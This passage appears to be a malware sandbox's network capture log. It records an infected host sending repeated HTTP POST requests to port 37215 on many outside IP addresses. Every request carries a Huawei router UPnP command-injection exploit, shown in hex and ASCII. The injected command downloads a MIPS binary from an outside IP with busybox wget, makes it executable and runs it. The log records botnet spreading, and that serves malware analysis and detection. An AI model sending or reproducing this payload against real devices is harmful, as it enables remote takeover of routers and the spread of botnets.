6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.13	49596	156.166.33.148	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.425276995 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.13	32900	197.87.15.2	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.427010059 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.13	52944	41.231.70.242	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.428781986 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.13	40274	156.181.225.233	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.430715084 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.13	52322	156.185.231.239	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.433231115 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.13	57758	41.167.32.244	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.435022116 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.13	36434	197.251.106.165	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.437016964 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.13	47486	197.193.135.131	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.438817978 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.13	41756	41.221.14.22	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.440191031 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.13	41404	197.147.94.248	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.441989899 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.13	34414	197.119.48.91	37215

Timestamp	Bytes transferred	Direction	Data
